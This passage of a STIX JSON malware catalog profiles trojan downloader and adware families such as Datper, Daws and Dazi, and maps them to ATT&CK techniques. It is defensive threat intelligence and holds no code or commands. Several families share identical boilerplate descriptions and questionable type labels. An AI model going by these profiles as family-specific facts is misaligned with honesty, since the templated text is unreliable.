      "description": "Trojan:Win32/Datper is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Datper</b><br>To an end-user, a Datper infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Datper is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Datper is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Datper frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Datper reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Datper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/datper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06a9c12b-156a-55f5-ad76-aab6bb30dc30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b4207a9-e4ee-5b5b-8584-fe963cdddd60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--628850f6-9857-5a2d-9015-513f0398979a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6d14763-8143-5918-a6ed-679d4d70a4cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datper exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed0c30f7-488a-581a-aabb-a25bc3270f7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27bda1e1-3aea-5f70-86da-a53d01e40394",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Datpol",
      "description": "<h3>Executive Summary</h3>\nDatpol is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDatpol is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Datpol operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Datpol ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Datpol receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Datpol infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Datpol executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Datpol frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Datpol",
        "Downloader.Datpol",
        "Win32/Datpol"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Datpol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/datpol"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7dbe59-ee36-5b81-b16e-d64c5902a83c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bda1e1-3aea-5f70-86da-a53d01e40394",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datpol exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7991c587-ebe7-52c6-bf36-69f2781ecdf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bda1e1-3aea-5f70-86da-a53d01e40394",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datpol exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bdad06c-2541-5dae-b7d9-b129a42fe469",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27bda1e1-3aea-5f70-86da-a53d01e40394",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datpol exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d56cdcbe-1a46-5e1e-960b-12f2389b7cb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Daum",
      "description": "Adware:Win32/Daum is a classification for Potentially Unwanted Programs (PUPs) and adware heavily associated with South Korean distribution networks (often leveraging the name of the legitimate Daum web portal). It is primarily designed to hijack browser settings, forcing the default search engine and homepage to specific affiliate sites, and injecting intrusive advertisements into the user's browsing sessions to generate fraudulent revenue (`T1189`).<br><br><b>Understanding Daum (Adware/Hijacker)</b><br>To an end-user, Daum is highly disruptive. They will find their preferred search engine (like Google) replaced, and every search query will be redirected through tracking domains. For an IT department, Daum adware represents a frustrating loss of productivity and a potential vector for more severe malvertising attacks, particularly if the endpoint frequently visits Korean web properties.<br><br><b>Execution and Hijacking Mechanics</b><br>Daum adware is typically bundled with freeware or deceptive game installers targeting Asian markets. Upon execution, it establishes persistence via Registry Run keys or Scheduled Tasks (`T1547.001`). It then aggressively modifies the browser configuration files and registry settings (e.g., `Start Page`, `Search Page`) for Internet Explorer, Chrome, and Edge (`T1562.001`). Advanced variants may drop malicious Browser Helper Objects (BHOs) or extensions that continuously monitor and inject ads into web traffic.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, loss of privacy, and potential exposure to further malware. Host-based IoCs include the presence of unexpected software in `%ProgramFiles%` (often with Korean language strings or metadata), unauthorized modifications to browser registry keys, and the forced installation of extensions. Network IoCs include web traffic constantly redirecting through specific tracking or affiliate URLs before reaching the intended destination. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Daum",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/daum"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb7f0c3f-5691-57e1-87e6-408942a5a903",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56cdcbe-1a46-5e1e-960b-12f2389b7cb4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daum exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7a1d7b4-07fc-528d-9258-c4d95cf74c28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56cdcbe-1a46-5e1e-960b-12f2389b7cb4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daum exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser registry settings to prevent removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5be80112-eee9-54fb-a0c9-057d3c178cb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d56cdcbe-1a46-5e1e-960b-12f2389b7cb4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daum exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the adware starts at boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Davobevix",
      "description": "Trojan:Win32/Davobevix is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Davobevix</b><br>To an end-user, a Davobevix infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Davobevix is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Davobevix is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Davobevix frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Davobevix reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Davobevix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/davobevix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4004cd6a-0ea7-5849-8252-8d106ccba85d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davobevix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0595b1f1-14b9-5b3f-a846-c1d01ac2076d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davobevix exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5b67b08-d22e-5d09-8162-0c0aa48e20ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davobevix exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--098e0359-72c9-5507-ac92-2338c8c9cb93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davobevix exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--016a864f-9805-580f-a4c2-cd04b3503d97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e060d8-5263-5635-81e7-5c556567f278",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davobevix exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2db10656-8976-5cc6-8e2b-208a7bd5dd3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Davy",
      "description": "<h3>Executive Summary</h3>\nDavy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDavy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Davy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Davy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Davy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Davy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Davy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Davy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Davy",
        "Downloader.Davy",
        "Win32/Davy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Davy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/davy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e4a9f03-94e6-5ead-b741-2d36d511298f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2db10656-8976-5cc6-8e2b-208a7bd5dd3e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93e68dcb-2fe1-5da2-bc78-a2be00bb4b26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2db10656-8976-5cc6-8e2b-208a7bd5dd3e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbc06713-e679-5a19-8568-d9c3913d5e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2db10656-8976-5cc6-8e2b-208a7bd5dd3e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Davy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Daws",
      "description": "TrojanDownloader:Win32/Daws (cataloged across security vendors as Trojan.Daws or Ransom.Daws) is a persistent Windows trojan downloader and stage-one ransomware delivery mechanism engineered to breach endpoint perimeters and orchestrate the automated deployment of secondary extortion payloads. Operating through heavily packed executables dropped into temporary system directories (%Temp%), Daws establishes scheduled tasks and modifies registry Run keys to ensure persistence. Once a machine profile is established, Daws initiates encrypted HTTPS beacons to remote C2 infrastructure, pulling down secondary ransomware binaries that systematically traverse local and mapped network drives, encrypt target document and database extensions, delete Volume Shadow Copies via vssadmin, and display ransom notes demanding cryptocurrency payments. (Observed samples in benchmark: 246)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Daws",
        "TrojanDownloader:Win32/Daws",
        "Trojan.Daws",
        "Win32/Daws",
        "Daws Downloader",
        "Ransom.Daws",
        "Trojan:Win32/Daws"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Daws",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/daws"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92debdd7-b1fa-5779-8ee3-4f7993d92e8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c42c29f-64ec-5451-9004-ce1b098407f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1a0cd6c-2851-56b7-bc0a-2fc9e7605cd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1053.005 (Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1957ff74-a92c-51a2-9951-8103917ed380",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--879b2051-5a09-56b8-896e-5cbb11942222",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa6b9a5b-a25a-54d5-984e-e9f9858ed98c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01d00f1b-71c9-55bb-9ea9-897438148e71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--682651b4-b8d6-59b0-9ff1-2e0dc8f93b31",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Daws exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6a80709-8962-5d68-8642-317b393c202b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dazi",
      "description": "Trojan:Win32/Dazi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dazi</b><br>To an end-user, a Dazi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dazi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dazi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dazi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dazi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dazi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dazi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
